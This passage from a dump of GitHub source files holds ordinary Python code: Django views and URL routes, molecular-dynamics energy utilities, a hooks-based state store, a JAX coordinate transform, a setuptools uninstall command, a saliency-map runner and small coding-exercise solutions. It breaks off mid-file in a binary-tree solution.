summoner.top_champions_data()\n role_data = summoner.role_data()\n \n \n summoner_data = {\n \"summoner_name\": summoner_name,\n \"profile_icon_id\": summoner_data[\"profile_icon_id\"],\n \"summoner_level\": summoner_data[\"summoner_level\"],\n \"soloq\": {\n \"rank\": summoner_data[\"soloq_rank\"].title(),\n \"lp\": summoner_data[\"soloq_lp\"],\n \"wins\": summoner_data[\"soloq_wins\"],\n \"losses\": summoner_data[\"soloq_losses\"],\n \"wr\": summoner_data[\"soloq_wr\"],\n },\n \"flex\": {\n \"rank\": summoner_data[\"flex_rank\"].title(),\n \"lp\": summoner_data[\"flex_lp\"],\n \"wins\": summoner_data[\"flex_wins\"],\n \"losses\": summoner_data[\"flex_losses\"],\n \"wr\": summoner_data[\"flex_wr\"],\n },\n }\n champions_played = [\n {\n \"champion_name\": champ[\"champion_name\"],\n \"cs\": champ[\"cs\"],\n \"kda\": round(champ[\"kda\"], 2),\n \"kills\": champ[\"kills\"],\n \"deaths\": champ[\"deaths\"],\n \"assists\": champ[\"assists\"],\n \"wr\": round(champ[\"wr\"]),\n \"games_played\": champ[\"matches_played\"],\n }\n for champ in top_champs_data\n ]\n \n recent_matches = [\n {\n \"game_type\": get_game_type(match[\"queue_id\"]),\n \"game_mode\": match[\"game_mode\"],\n \"queue_id\": match[\"queue_id\"],\n \"game_duration\": match[\"game_duration\"],\n \"win\": match[\"win\"],\n \"champion_name\": match[\"champion_name\"],\n \"item_ids\": [\n match[\"item0\"], \n match[\"item1\"], \n match[\"item2\"], \n match[\"item3\"], \n match[\"item4\"], \n match[\"item5\"], \n match[\"item6\"]\n ],\n \"summoner_spell_ids\": [\n match[\"summoner_spell1\"], \n match[\"summoner_spell2\"]],\n \"kills\": int(match[\"kills\"]),\n \"deaths\": int(match[\"deaths\"]),\n \"assists\": int(match[\"assists\"]),\n \"kda_ratio\": round((int(match[\"kills\"]) + int(match[\"assists\"])) / int(match[\"deaths\"]), 2) if int(match[\"deaths\"]) > 0 else round((int(match[\"kills\"]) + int(match[\"assists\"])), 2),\n \"cs\": match[\"cs\"],\n \"vision\": match[\"vision\"],\n \"participant_summoner_names\": [match[\"participant1_summoner_name\"], match[\"participant2_summoner_name\"], match[\"participant3_summoner_name\"], match[\"participant4_summoner_name\"], match[\"participant5_summoner_name\"], match[\"participant6_summoner_name\"], match[\"participant7_summoner_name\"], match[\"participant8_summoner_name\"], match[\"participant9_summoner_name\"], match[\"participant10_summoner_name\"]],\n \"participant_champion_names\": [match[\"participant1_champion_name\"], match[\"participant2_champion_name\"], match[\"participant3_champion_name\"], match[\"participant4_champion_name\"], match[\"participant5_champion_name\"], match[\"participant6_champion_name\"], match[\"participant7_champion_name\"], match[\"participant8_champion_name\"], match[\"participant9_champion_name\"], match[\"participant10_champion_name\"]\n ],\n }\n for match in recent_matches_data\n ]\n\n\n summoner_profile = {\n 'summoner_name': summoner_name,\n 'summoner_data': summoner_data,\n 'champions_played': champions_played,\n 'recent_matches': recent_matches,\n 'role_data': role_data,\n }\n \n \n return render(request, 'summoner_dashboard/summoner_page.html', summoner_profile)","repo_name":"Diegowh/whgg","sub_path":"summoner_dashboard/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4084,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"16393856122","text":"from __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom __future__ import absolute_import\nfrom builtins import open\nfrom builtins import int\nfrom builtins import range\nfrom future import standard_library\nfrom configparser import ConfigParser\nimport numpy as np\nfrom MDAnalysis.lib.NeighborSearch import AtomNeighborSearch\nfrom math import pi\nimport datetime\nimport MDAnalysis\nimport multiprocessing\nimport os\nimport pkg_resources\nstandard_library.install_aliases()\n\n\ndef vdw_energy(atom1, atom2, box_dimensions):\n \"\"\"Calculate van der Waals energy.\n Parameters\n ----------\n atom1: MDAnalysis.core.groups.Atom\n First atom\n atom2: MDAnalysis.core.groups.Atom\n Second atom\n box_dimensions: numpy.ndarray\n Dimensions of the system box (for PBC imaging)\n\n Returns\n -------\n eelec : float\n Van der Waals energy in kJ/mol\n \"\"\"\n\n mixed_lj_term = np.sqrt(atom1.lj_energy*atom2.lj_energy)\n vdw_eq_radius = np.sqrt(atom1.vdw_radius*atom2.vdw_radius)\n r = MDAnalysis.lib.distances.calc_bonds(atom1.position.reshape(-1, 3),\n atom2.position.reshape(-1, 3), box_dimensions)[0]\n evdw = 4.184 * mixed_lj_term * (-2*(np.power(vdw_eq_radius/r, 6) + np.power(vdw_eq_radius/r, 12)))\n return evdw\n\n\ndef check_params(settings, filename='config.ini'):\n \"\"\"Check validity of the parameters in the config.ini file.\n Parameters\n ----------\n settings: ConfigParser\n Object containing data located in config.ini\n filename: str\n Name of the config file\n \"\"\"\n error_message = ''\n topology = settings.get('files', 'topology')\n trajectories = settings.get('files', 'trajectories').split(', ')\n extension = settings.get('files', 'filetype')\n mask1 = settings.get('parameters', 'mask1')\n mask2 = settings.get('parameters', 'mask2')\n cutoff = settings.get('parameters', 'cutoff')\n calculate_vdw = load_from_config('parameters', 'vdw')[0] == 'True'\n\n try:\n stride = int(load_from_config('parameters', 'stride', filename)[0])\n except ValueError:\n error_message = 'Stride must be an integer!'\n\n try:\n dt = int(load_from_config('parameters', 'dt', filename)[0])\n except ValueError:\n error_message = 'Timestep must be an integer!'\n\n try:\n ncores = int(load_from_config('parameters', 'ncores', filename)[0])\n except ValueError:\n error_message = 'Number of cores must be an integer!'\n\n try:\n whole_traj = MDAnalysis.Universe(topology)\n except (KeyError, ValueError) as error:\n error_message = 'Topology parsing error! (If you are sure everything is in order' \\\n ' try converting to another format)'\n except getattr(__builtins__,'FileNotFoundError', IOError):\n error_message = 'Topology file missing!'\n number_frames_total = 0\n\n if error_message == '':\n for trajectory in trajectories:\n try:\n system = MDAnalysis.Universe(topology, format=extension)\n number_frames_trajectory = len(system.trajectory)\n number_frames_total += number_frames_trajectory\n except ValueError:\n try:\n system = MDAnalysis.Universe(topology, trajectory, format=extension)\n number_frames_trajectory = len(system.trajectory)\n number_frames_total += number_frames_trajectory\n except getattr(__builtins__, 'FileNotFoundError', IOError):\n error_message = 'One or more files missing!'\n except (KeyError, ValueError) as error:\n error_message = 'Topology/trajectory error or filetype mismatch!'\n\n if error_message == '':\n if ncores > multiprocessing.cpu_count():\n error_message = 'Number of cores specified higher than available number of cores (%s)'\\\n % multiprocessing.cpu_count()\n elif ncores > (number_frames_total // stride) + 1:\n error_message = 'Number of cores higher than number of frames!'\n\n if error_message == '':\n try:\n system.select_atoms(mask1)\n except (TypeError, KeyError, MDAnalysis.exceptions.SelectionError) as error:\n error_message = 'Mask1 error!'\n if error_message == '':\n try:\n system.select_atoms(mask2)\n except (TypeError, KeyError, MDAnalysis.exceptions.SelectionError) as error:\n error_message = 'Mask2 error!'\n\n if error_message == '':\n if len(system.select_atoms(mask1)) == 0:\n error_message = 'Mask1 contains no atoms!'\n if error_message == '':\n if len(system.select_atoms(mask2)) == 0:\n error_message = 'Mask2 contains no atoms!'\n if error_message == '':\n if cutoff != '':\n try:\n cutoff = float(cutoff)\n except ValueError:\n error_message = 'Cutoff must be a number!'\n if error_message == '' and calculate_vdw:\n try:\n system.atoms[0].element == 'a'\n except:\n error_message = 'Van der Waals interactions not supported for this format!'\n\n return error_message\n\n\ndef check_plot_params(settings, filename='config_plot.ini'):\n \"\"\"Check validity of the parameters in the config_plot.ini file.\n Parameters\n ----------\n settings: ConfigParser\n Object containing data located in config_plot.ini\n filename: str\n Filename of the config file containing plotting parameters\n \"\"\"\n error_message = ''\n datafile = settings.get('files', 'datafile')\n startframe = load_from_plot_config('parameters', 'startframe', filename)\n endframe = load_from_plot_config('parameters', 'endframe', filename)\n starting_residue = load_from_plot_config('parameters', 'starting_residue', filename)\n end_residue = load_from_plot_config('parameters', 'end_residue', filename)\n range_of_values = load_from_plot_config('parameters', 'range_of_values', filename)\n\n # Check filename\n try:\n with open(datafile, 'r+') as results:\n last_line = tail(results)\n except getattr(__builtins__, 'FileNotFoundError', IOError):\n error_message = 'File not found!'\n\n # Check datafile entry validity\n if error_message == '':\n try:\n final_datafile_frame = int(last_line[0].split()[0])\n last_datafile_residue = int(last_line[0].split()[1])\n except (ValueError, KeyError) as error:\n error_message = 'Datafile error!'\n\n # Check if parameters are integers\n\n try:\n startframe = int(startframe)\n except ValueError:\n error_message = 'Starting frame must be an integer!'\n\n try:\n endframe = int(endframe)\n except ValueError:\n error_message = 'Final frame must be an integer!'\n\n try:\n starting_residue = int(starting_residue)\n except ValueError:\n error_message = 'Starting residue must be an integer!'\n\n try:\n end_residue = int(end_residue)\n except ValueError:\n error_message = 'Final residue must be an integer!'\n\n if error_message == '':\n if startframe > endframe:\n error_message = 'Starting frame number higher than final frame!'\n\n if error_message == '':\n if startframe > final_datafile_frame:\n error_message = 'Starting frame larger than total number of frames (%d)' % final_datafile_frame\n elif starting_residue > last_datafile_residue:\n error_message = 'Starting residue larger than total number of residues (%d)' % last_datafile_residue\n\n if error_message == '':\n try:\n range_of_values = float(range_of_values)\n except ValueError:\n error_message = 'Range of values must be a number!'\n return error_message\n\n\ndef load_from_config(section, parameter, filename='config.ini'):\n \"\"\"Tries loading parameters from the config.ini file. Defaults to values defined in default_values if not found in\n config.ini.\n\n Parameters\n ----------\n section: str\n Section of the .ini file\n parameter: str\n Parameter as defined in the .ini file\n filename: str\n Name of the config file\n\n Returns\n -------\n A list containing either the parameter from the input file or a default value and a boolean telling whether\n or not a default value was used (important for logging).\n \"\"\"\n\n default_values = ConfigParser()\n config = ConfigParser()\n default_values.read(pkg_resources.resource_filename('relictoolkit', 'config_defaults.dft'))\n\n config.read(filename)\n\n try:\n if config.get(section, parameter) == '':\n return [default_values[parameter], True]\n else:\n return [config.get(section, parameter), False]\n except:\n return [default_values.get(section, parameter), True]\n\n\ndef load_from_plot_config(section, parameter, filename='config_plot.ini'):\n \"\"\"Tries loading parameters from the config_plot.ini file. Defaults to values defined in default_values if not\n found in config_load.ini.\n\n Parameters\n ----------\n section: str\n Section of the .ini file\n parameter: str\n Parameter as defined in the .ini file\n filename: str\n Name of the config file\n Returns\n -------\n A parameter read from the config file or a default value defined in default_values\n \"\"\"\n config = ConfigParser()\n config.read(filename)\n datafile = config.get('files', 'datafile')\n with open(datafile, 'r+') as results:\n last_line = tail(results)\n\n default_values = {\n 'interactive': 'True',\n 'plot_type': 'time',\n 'startframe': 0,\n 'endframe': int(last_line[0].split()[0]),\n 'starting_residue': 1,\n 'end_residue': int(last_line[0].split()[1]),\n 'dt': 1,\n 'range_of_values': 0\n }\n\n try:\n if config.get(section, parameter) == '':\n return default_values[parameter]\n else:\n return config.get(section, parameter)\n except:\n return default_values[parameter]\n\n\ndef load_partial_traj(input_system, step, ncores, core):\n \"\"\"Perform trajectory pre-processing: apply periodic boundary conditions and break into multiple files for parallel\n processing.\n\n Parameters\n ----------\n input_system : MDAnalysis.Universe\n A Universe object containing the input system data loaded from topology/trajectory files\n step: int\n Trajectory sampling interval\n ncores: int\n Number of CPU cores\n core: int\n current CPU core\n \"\"\"\n\n frames_per_traj = len(input_system.trajectory) // ncores\n\n # Overhead is used to avoid loading multiple frames within a single step due to the trajectory fragmenting\n # or improper fragmentation of the trajectory\n overhead = frames_per_traj - (frames_per_traj // step) * step\n overhead = overhead * core\n overhead = overhead % step\n endframe = (core + 1) * frames_per_traj\n if overhead == 0:\n overhead = step\n\n elif overhead == step:\n endframe += 1\n\n startingframe = (core*frames_per_traj) + (step-overhead)\n\n if core == ncores-1:\n endframe = len(input_system.trajectory)\n\n with open('relic_logfile.log', 'a+') as logfile:\n logfile.write('Core %s assigned frames %s to %s\\n' % (core, startingframe, endframe))\n\n partial_traj_info = {\n 'traj': input_system.trajectory[startingframe:endframe:step],\n 'startframe': startingframe,\n 'endframe': endframe\n }\n\n return partial_traj_info\n\n\ndef electrostatic_energy(atom1, atom2, box_dimensions):\n \"\"\"Calculate electrostatic interactios within a cutoff distance.\n\n Parameters\n ----------\n atom1: MDAnalysis.core.groups.Atom\n First atom\n atom2: MDAnalysis.core.groups.Atom\n Second atom\n box_dimensions: numpy.ndarray\n Dimensions of the system box (for PBC imaging)\n\n Returns\n -------\n eelec: float\n Electrostatic energy in kJ/mol.\n \"\"\"\n\n indiel = float(load_from_config('parameters', 'indi')[0])\n interatom_distance = MDAnalysis.lib.distances.calc_bonds(atom1.position.reshape(-1, 3),\n atom2.position.reshape(-1, 3), box=box_dimensions)[0]\n eelec = 1389 * (1/(4*pi*indiel))*(atom1.charge * atom2.charge) / interatom_distance # kJ/mol\n return eelec # converts to kJ/mol\n\n\ndef interdomain_interactions(domain1, domain2, frame_number):\n \"\"\"Calculate interactions between domain1 and domain2 present in the given frame\n\n Parameters\n ----------\n domain1: MDAnalysis.core.groups.AtomGroup\n Atoms comprising the first domain\n domain2: MDAnalysis.core.groups.AtomGroup\n Atoms comprising the second domain\n frame_number: int\n Frame number, numbering consistent with the original trajectory (for output)\n\n Returns\n -------\n domain_interactions: list\n List contaning frame number, residue number, electrostatic, van der Waals and total interaction energy. This\n list is subsequently printed to output.\n \"\"\"\n\n possible_neighbors = AtomNeighborSearch(domain2.select_atoms('not resname WAT', updating=True))\n domain_interactions = list()\n calculate_vdw = load_from_config('parameters', 'vdw')[0] == 'True'\n for residue in domain1.residues:\n if residue.resname != 'WAT' and residue.resname != 'SOL':\n neighbor_atoms = possible_neighbors.search(residue.atoms,\n float(load_from_config('parameters', 'cutoff')[0]), level='A')\n eelec = 0\n evdw = 0\n for residue_atom in residue.atoms:\n for neighbor_atom in neighbor_atoms:\n eelec += electrostatic_energy(residue_atom, neighbor_atom, domain1.dimensions)\n if calculate_vdw:\n evdw += vdw_energy(residue_atom, neighbor_atom, domain1.dimensions)\n domain_interactions.append('{:<10d} {:<10d} {:>10.5f} {:>10.5f} {:>10.5f}'.format(\n frame_number, residue.resid, eelec, evdw, eelec+evdw))\n return domain_interactions\n\n\ndef process_frame(domain1, domain2, output, frame_number):\n \"\"\"Calculate interactions for a single frame, sort by residue and print them to output.\n\n Parameters\n ----------\n domain1: MDAnalysis.core.groups.AtomGroup\n Atoms comprising the first domain\n domain2: MDAnalysis.core.groups.AtomGroup\n Atoms comprising the second domain\n output: TextIO\n Filename of the output file\n frame_number: int\n Frame number, numbering consistent with the original trajectory (for output)\n \"\"\"\n\n frame_unsorted = list()\n interactions_domain1 = interdomain_interactions(domain1, domain2, frame_number)\n interactions_domain2 = interdomain_interactions(domain2, domain1, frame_number)\n frame_unsorted += interactions_domain1\n frame_unsorted += interactions_domain2\n for entry in sorted(frame_unsorted, key=lambda row: int(row.split()[1])):\n print(entry, file=output)\n\n\ndef read_uff_parameters():\n \"\"\"Read LJ parameters from the UFF database. Based on Rappe et al., 1992.\n\n Returns\n -------\n parameters: dict\n Dictionary containing LJ parameters for every atom.\n \"\"\"\n\n parameters = {}\n with open(pkg_resources.resource_filename('relictoolkit', 'uff.parm')) as uff_parameters:\n for line in uff_parameters:\n (key, val) = (line.split()[0], line.split()[1:3])\n try:\n val = [float(val[i]) for i in range(0, len(val))]\n parameters[key] = val\n except ValueError:\n pass\n return parameters\n\n\ndef write_logfile_header(settings, logfile):\n \"\"\"Print the calculation start time and given input to the header of the logfile.\n Parameters\n ----------\n settings: ConfigParser\n Object containing data located in config.ini\n logfile: FileIO\n .log file\"\"\"\n\n logfile.write('Calculation started at %s\\n\\n' % datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M\"))\n logfile.write('-' * 15 + 'Input overview' + '-' * 15 + '\\n')\n logfile.write('{:<17s}{:<80}\\n'.format('Topology:', settings.get('files', 'topology')))\n trajectory_list = settings.get('files', 'trajectories').split(', ')\n logfile.write('Trajectories:\\n')\n for name in trajectory_list:\n logfile.write('{:<17s}{:<80s}\\n'.format('', name))\n logfile.write('Data written to: %s\\n' % load_from_config('files', 'output')[0])\n logfile.write('Mask1: %s\\nMask2: %s\\n' % (settings.get('parameters', 'mask1'), settings.get('parameters', 'mask2')))\n\n strideinfo = load_from_config('parameters', 'stride')\n if not strideinfo[1]:\n logfile.write('Stride: %s\\n' % int(strideinfo[0]))\n else:\n logfile.write('Stride not specified; a default value of %s used instead\\n'\n % int(strideinfo[0]))\n\n indiinfo = load_from_config('parameters', 'indi')\n if not indiinfo[1]:\n logfile.write('Internal dielectric constant: %s\\n' % indiinfo[0])\n else:\n logfile.write('Internal dielectric constant not specified; using a default value of %s\\n' % indiinfo[0])\n\n vdwinfo = load_from_config('parameters', 'vdw')\n if not vdwinfo[1]:\n if vdwinfo[0]:\n logfile.write('Van der Waals interactions will not be calculated\\n')\n else:\n logfile.write('Van der Waals interactions will be calculated\\n')\n else:\n logfile.write('Treatment of van der Waals interactions not specified; will not calculate\\n')\n\n procinfo = load_from_config('parameters', 'ncores')\n if not procinfo[1]:\n logfile.write('Using %s CPU cores...\\n' % procinfo[0])\n else:\n logfile.write('Number of cores not specified; using %s core\\n' % procinfo[0])\n\n logfile.write('-' * 44 + '\\n\\n')\n\n\ndef tail(f, lines=1, _buffer=4098):\n \"\"\"Tail a file and get X lines from the end\n Taken from:\n https://stackoverflow.com/questions/136168/get-last-n-lines-of-a-file-with-python-similar-to-tail/7047765#7047765\n\n Parameters\n ----------\n f : fileI/O\n file containing the output\n lines : integer\n number of lines to get\n _buffer : integer\n chunk size\n\n Returns\n -------\n Selected number of lines from the end of the file\n \"\"\"\n # place holder for the lines found\n lines_found = []\n\n # block counter will be multiplied by buffer\n # to get the block size from the end\n block_counter = -1\n\n # loop until we find X lines\n while len(lines_found) < lines:\n try:\n f.seek(block_counter * _buffer, os.SEEK_END)\n except IOError: # either file is too small, or too many lines requested\n f.seek(0)\n lines_found = f.readlines()\n break\n\n lines_found = f.readlines()\n\n # we found enough lines, get out\n # Removed this line because it was redundant the while will catch\n # it, I left it for history\n # if len(lines_found) > lines:\n # break\n\n # decrement the block counter to get the\n # next X bytes\n block_counter -= 1\n\n return lines_found[-lines:]\n\n\ndef main():\n pass\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"mtomin/relictoolkit","sub_path":"relictoolkit/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":19523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"40977811911","text":"# mypy: ignore-errors\n\nfrom typing import Any, Callable\n\nfrom box import Box\n\nfrom hooks import create_context, set_context_value, use_context\n\nStateSelector = Callable[[Any], Any]\nSetTyping = Callable[[StateSelector], None]\nGetTyping = Callable[[], Box]\n\n\nclass ZustandStore:\n def __init__(\n self,\n store_initial_state: dict[str, Any],\n store_config: Callable[[SetTyping, GetTyping], Any],\n ):\n self.state_context = create_context(store_initial_state)\n self.config_context = create_context({})\n\n def setter(state_selector: StateSelector) -> None:\n set_context_value(\n self.state_context,\n state_selector(use_context(self.state_context)),\n )\n\n def getter() -> Box:\n return Box(\n {**use_context(self.state_context), **use_context(self.config_context)}\n )\n\n self.setter = setter\n self.getter = getter\n set_context_value(\n self.config_context,\n store_config(self.setter, self.getter),\n )\n\n def __call__(self, selector: StateSelector) -> Any:\n return selector(self.getter())\n\n\ndef create(\n store_initial_state: dict[str, Any],\n store_config: Callable[[SetTyping, GetTyping], Any],\n) -> ZustandStore:\n \"\"\" \"\"\"\n return ZustandStore(store_initial_state, store_config)\n","repo_name":"amitassaraf/python-hooks","sub_path":"src/hooks/plugins/zustand.py","file_name":"zustand.py","file_ext":"py","file_size_in_byte":1377,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"37"} +{"seq_id":"38169882411","text":"import chex\nimport jax.numpy as jnp\nimport jax.random\n\n\ndef x0_centered_to_zero_CoM(x: chex.Array) -> chex.Array:\n n = x.shape[0] + 1\n return x - jnp.sum(x, axis=0, keepdims=True) / n\n\ndef zero_CoM_to_x0_centered(x: chex.Array):\n x0_coordinate = -jnp.sum(x, axis=0, keepdims=True)\n return x - x0_coordinate\n\n\nif __name__ == '__main__':\n key = jax.random.PRNGKey(0)\n n_nodes = 8\n dim = 3\n x_0_centered = jax.random.normal(key, (n_nodes - 1, dim))\n x_zeroCom = x0_centered_to_zero_CoM(x_0_centered)\n x0_in_zeroCom = - jnp.sum(x_zeroCom, axis=0)\n\n x_0_centered_ = zero_CoM_to_x0_centered(x_zeroCom)\n\n chex.assert_trees_all_close(x_0_centered, x_0_centered_, atol=1e-6)\n\n jac = jax.jacfwd(x0_centered_to_zero_CoM)(x_0_centered)\n\n assert (jac[:, 1, :, 0] == 0).all()\n\n A = jnp.eye(n_nodes-1)\n u = 1 / n_nodes * jnp.ones(n_nodes-1)\n v = jnp.ones(n_nodes-1)\n u = u[:, None]\n v = v[:, None]\n expected_jac_dim_0 = A - u @ v.T\n\n\n chex.assert_trees_all_close(expected_jac_dim_0, jac[:, 0, :, 0])\n\n sign, log_det = jnp.linalg.slogdet(jac[:, 0, :, 0])\n\n expected_log_det_dim_0 = - jnp.log(n_nodes)\n\n log_det_ovall = - dim * jnp.log(n_nodes)\n","repo_name":"lollcat/se3-augmented-coupling-flows","sub_path":"eacf/utils/coordinate_transform/atom0centre_to_ZeroCoM_log_det.py","file_name":"atom0centre_to_ZeroCoM_log_det.py","file_ext":"py","file_size_in_byte":1200,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"37"} +{"seq_id":"38883765364","text":"from django.conf.urls import url\nfrom django.urls import include, path\n\nfrom .views import *\nfrom django.contrib.auth import views as auth_views\nfrom django.views.decorators.csrf import csrf_exempt\n\nurlpatterns=[\n #url(),\n url(r'^loguear',login,name='login'),\n# url(r'^registrar',registrar_usuario,name='registre'),\n url(r'^pruebas',prueba_html,name='pruebas'),\n url(r'^retornar$',retornar,name='retornar'),\n url(r'^listar_persona$',listar_persona,name='listar_persona'),\n url(r'^crear_personas$',crear_personas,name='crear_personas'),\n url(r'^crear_docentes$',crear_docente,name='crear_docentes'),\n url(r'^cargar_materia',cargar_materias,name='materia'), #como se realza una url\n url(r'^cargar_grado',cargar_grados,name='grado'),\n url(r'^cargar_periodo',cargar_periodo,name='periodo'),\n url(r'^cargar_lectivo', cargar_lectivo, name='lectivo'),\n url(r'^cargar_period_mater', cargar_periodo_materia, name='periodo_materia'),\n url(r'^listar_periodo',listar_periodo, name='list_period'),\n url(r'^listar_grado',listar_grado, name='list_grad'),\n url(r'^listar_materia',listar_materia, name='list_mater'),\n url(r'^listar_lectivo',listar_lectivo, name='list_lectiv'),\n url(r'^listar_period_mater',listar_periodo_materia, name='list_period_mater'),\n url(r'^actualizar_periodo/(?P<id_periodo>\\d+)$',periodo_actualizar, name ='actual_period'),\n url(r'^actualizar_lectivo/(?P<id>\\d+)$', lectivo_actualizar, name='actual_lectiv'),\n url(r'^actualizar_grado/(?P<id_grado>\\d+)$',grado_actualizar, name ='actual_grad'),\n url(r'^actualizar_materia/(?P<id_materia>\\d+)$',materia_actualizar, name ='actual_mater'),\n url(r'^actualizar_period_mater/(?P<id_registro>\\d+)$',periodo_materia_actualizar, name ='actual_period_mater'),\n url(r'^eliminar_periodo/(?P<id_periodo>\\d+)$',eliminar_periodo, name ='eliminar_period'),\n url(r'^eliminar_lectivo/(?P<id>\\d+)$',eliminar_lectivo, name ='eliminar_lectiv'),\n url(r'^eliminar_materia/(?P<id_materia>\\d+)$',eliminar_materia, name ='eliminar_mater'),\n url(r'^eliminar_grado/(?P<id_grado>\\d+)$',eliminar_grado, name ='eliminar_grad'),\n url(r'^eliminar_period_mater/(?P<id_registro>\\d+)$',eliminar_periodo_materia, name ='eliminar_period_mater')\n]","repo_name":"dany240/regenerar","sub_path":"proyecto_final/materias_demas/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2252,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71605091627","text":"news_read=open(\"C:\\\\Users\\\\deepa\\\\OneDrive\\\\Desktop\\\\python_works\\\\tokenization\\\\news.txt\",\"r\")\n\nwords_read=open(\"C:\\\\Users\\\\deepa\\\\OneDrive\\\\Desktop\\\\python_works\\\\tokenization\\\\stopwords.txt\",\"r\")\n\nstop_words={line.rstrip(\"\\n\") for line in words_read}\n\nnews_set=set()\n\nfor line in news_read:\n words=line.split(\" \")\n for w in words:\n news_set.add(w)\n\nprint(news_set.difference(stop_words)) \n","repo_name":"deepakdpz/Pythonworks_Luminar","sub_path":"python_works/tokenization/processnews.py","file_name":"processnews.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25595609120","text":"# pile of socks to PAIR by COLOUR\n\n# input:\n# - n: number of socks\n# - ar: array of colours of socks\n\n# task:\n# determine how many pairs of socks with matching colours there are\n\n\ndef sock_merchant(num_of_socks, sock_pile):\n sock_pile = sorted(sock_pile)\n\n i = num_of_pairs = 0\n while i < num_of_socks - 1:\n if sock_pile[i] == sock_pile[i+1]:\n num_of_pairs += 1\n i += 2\n print(i)\n\n else:\n i += 1\n\n return num_of_pairs\n\n\nn = int(input())\narr = map(int, input().strip().split(' '))\n\nprint(sock_merchant(n, arr))\n","repo_name":"ryotokuro/hackerrank","sub_path":"algorithms/sockMerchant.py","file_name":"sockMerchant.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"20375155810","text":"import os\nimport distutils\n\nfrom setuptools import Command\nfrom pkg_resources import normalize_path\nfrom contextlib import contextmanager\n\nfrom .base import CommandMixin, get_easy_install_cmd\nfrom pkglib.egg_cache import get_egg_cache_paths\n\n\n@contextmanager\ndef pip_logging_to_distutils_log():\n # Pip has some non-standard log levels, we'll wire them back into\n # regular logging or they get hidden from the user\n from pip.log import logger\n levels = {\n 'notify': 'info',\n 'debug': 'debug',\n 'info': 'info',\n 'error': 'error',\n 'fatal': 'fatal',\n 'warn': 'warn',\n }\n old_levels = dict((k, getattr(logger, k)) for k in levels.keys())\n for k, v in levels.items():\n setattr(logger, k, getattr(distutils.log, v))\n try:\n yield None\n finally:\n for k, v in old_levels.items():\n setattr(logger, k, v)\n\n\n@contextmanager\ndef patch_UninstallPathSet(egg_caches, install_dir):\n # pip uninstall doesn't realise that you can remove an entry from the virtualenv\n # easy-install.pth file even if the egg itself is outside the virtualenv i.e. in\n # the egg cache. Fix it by adjusting the pth file and entry.\n from pip import req\n ei_pth_file = os.path.join(normalize_path(install_dir), 'easy-install.pth')\n\n class UninstallPathSet(req.UninstallPathSet):\n def _can_uninstall(self):\n return True\n\n def add_pth(self, pth_file, entry):\n if any(pth_file.startswith(egg_cache) for egg_cache in egg_caches):\n pth_file, entry = ei_pth_file, self.dist.location\n super(UninstallPathSet, self).add_pth(pth_file, entry)\n req.UninstallPathSet, old_UninstallPathSet = UninstallPathSet, req.UninstallPathSet\n try:\n yield None\n finally:\n req.UninstallPathSet = old_UninstallPathSet\n\n\nclass pyuninstall(Command, CommandMixin):\n \"\"\" Remove a package. Calls pip.uninstall \"\"\"\n description = \"Remove a package. Uses pip.uninstall\"\n command_consumes_arguments = True\n\n user_options = [\n ('yes', 'y', \"Don't ask for confirmation of uninstall deletions.\"),\n ]\n boolean_options = [\n 'yes',\n ]\n\n def initialize_options(self):\n self.yes = False\n self.args = []\n\n def finalize_options(self):\n pass\n\n def run(self):\n \"\"\" Wire in the pip uninstall command\n \"\"\"\n with pip_logging_to_distutils_log():\n # Lazy imports here to allow pkglib to bootstrap itself.\n from pip import req, exceptions\n\n rs = req.RequirementSet(build_dir=None, src_dir=None, download_dir=None)\n for name in self.args:\n rs.add_requirement(req.InstallRequirement.from_line(name))\n\n install_dir = get_easy_install_cmd(self.distribution).install_dir\n with patch_UninstallPathSet(get_egg_cache_paths(), install_dir):\n try:\n rs.uninstall(auto_confirm=self.yes)\n except exceptions.UninstallationError as e:\n distutils.log.fatal(e)\n","repo_name":"man-group/pkglib","sub_path":"pkglib/pkglib/setuptools/command/pyuninstall.py","file_name":"pyuninstall.py","file_ext":"py","file_size_in_byte":3089,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"37"} +{"seq_id":"75224228906","text":"import numpy as np\nfrom scipy.misc import imsave\nfrom os import listdir, makedirs\nfrom os.path import isfile, join\nimport sys, getopt\n\nfrom SALICONtf import SALICONtf\n\n\ndef main(argv):\n img_dir = ''\n out_dir = ''\n\n if argv:\n opts, args = getopt.getopt(argv, \"i:o:w:\")\n else:\n print('Usage: python3 run_SALICON.py -w <model_weights> -i <input_dir> -o <output_dir>')\n sys.exit(2)\n\n for opt, arg in opts:\n if opt == '-i':\n img_dir = arg\n elif opt == '-o':\n out_dir = arg\n elif opt == '-w':\n model_weights = arg\n\n makedirs(out_dir, exist_ok=True)\n\n images = [f for f in listdir(img_dir) if isfile(join(img_dir, f))]\n\n s = SALICONtf(model_weights)\n\n for img_name in images:\n smap = s.compute_saliency(img_path=join(img_dir, img_name))\n imsave(join(out_dir, img_name), smap)\n\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n","repo_name":"ykotseruba/SALICONtf","sub_path":"src/run_SALICONtf.py","file_name":"run_SALICONtf.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"37"} +{"seq_id":"3616461097","text":"# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution(object):\n def isSymmetric(self, root):\n if root == None:\n return True\n queue = collections.deque([(root,root)])\n while (len(queue)>0):\n r1,r2 = 